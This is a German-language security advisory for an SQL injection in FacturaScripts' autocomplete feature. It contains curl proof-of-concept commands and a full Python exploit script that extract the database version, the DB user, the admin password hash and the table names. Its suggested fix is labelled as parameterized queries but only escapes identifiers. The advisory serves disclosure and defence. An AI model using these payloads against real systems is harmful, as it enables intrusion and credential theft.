
CVE-2026-25514 - FacturaScripts hat SQL-Injection in Autocomplete Actions
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-25514 |
| Schweregrad | HOCH |
| Sicherheitshinweis | Sicherheitshinweis anzeigen |
| Entdeckt von | Lukasz Rybak |
FacturaScripts enthält eine kritische SQL-Injection-Schwachstelle in der Autocomplete-Funktionalität, die es authentifizierten Angreifern ermöglicht, sensible Daten aus der Datenbank zu extrahieren, einschließlich Benutzeranmeldeinformationen, Konfigurationseinstellungen und aller gespeicherten Geschäftsdaten. Die Schwachstelle befindet sich in der Methode CodeModel::all(), bei der benutzergelieferte Parameter ohne Bereinigung oder parametrisierte Bindung direkt in SQL-Abfragen eingefügt werden.
Mehrere Controller in FacturaScripts, darunter CopyModel, ListController und PanelController, implementieren eine Autocomplete-Aktion, die Benutzereingaben über die Methoden CodeModel::search() oder CodeModel::all() verarbeitet. Diese Methoden konstruieren SQL-Abfragen, indem sie benutzerkontrollierte Parameter ohne Validierung oder Escaping direkt verketten.
Datei: /Core/Model/CodeModel.php
Methode: all()
Zeilen: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Die folgenden Parameter sind für SQL-Injection anfällig:
source → Wird auf $tableName abgebildet - Tabellennamen-Injectionfieldcode → Wird auf $fieldCode abgebildet - Spaltennamen-Injectionfieldtitle → Wird auf $fieldDescription abgebildet - Spaltennamen-Injection (primärer Angriffsvektor)/CopyModel mit action=autocompletefieldtitle injiziertDa FacturaScripts MultiRequestProtection verwendet, ist für jede POST-Anfrage ein gültiges multireqtoken erforderlich.
1. Initiales Token und Session-Cookie abrufen:
FacturaScripts leitet / auf /login um, daher verwenden wir -L, um Weiterleitungen zu folgen, und -c, um das Session-Cookie zu speichern.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. Authentifizieren (Login): Das gespeicherte Cookie und das Token verwenden, um sich anzumelden.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. Datenbankversion extrahieren: Ein frisches Token für die nächste Anfrage abrufen und die Injection ausführen.
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. Datenbankbenutzer und -namen extrahieren:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. Admin-Passwort-Hash extrahieren:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
Diese SQL-Injection-Schwachstelle hat eine KRITISCHE Auswirkung:
Option 1: Prepared Statements verwenden
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Entdeckt von: Łukasz Rybak
Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken für Schwachstellen verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.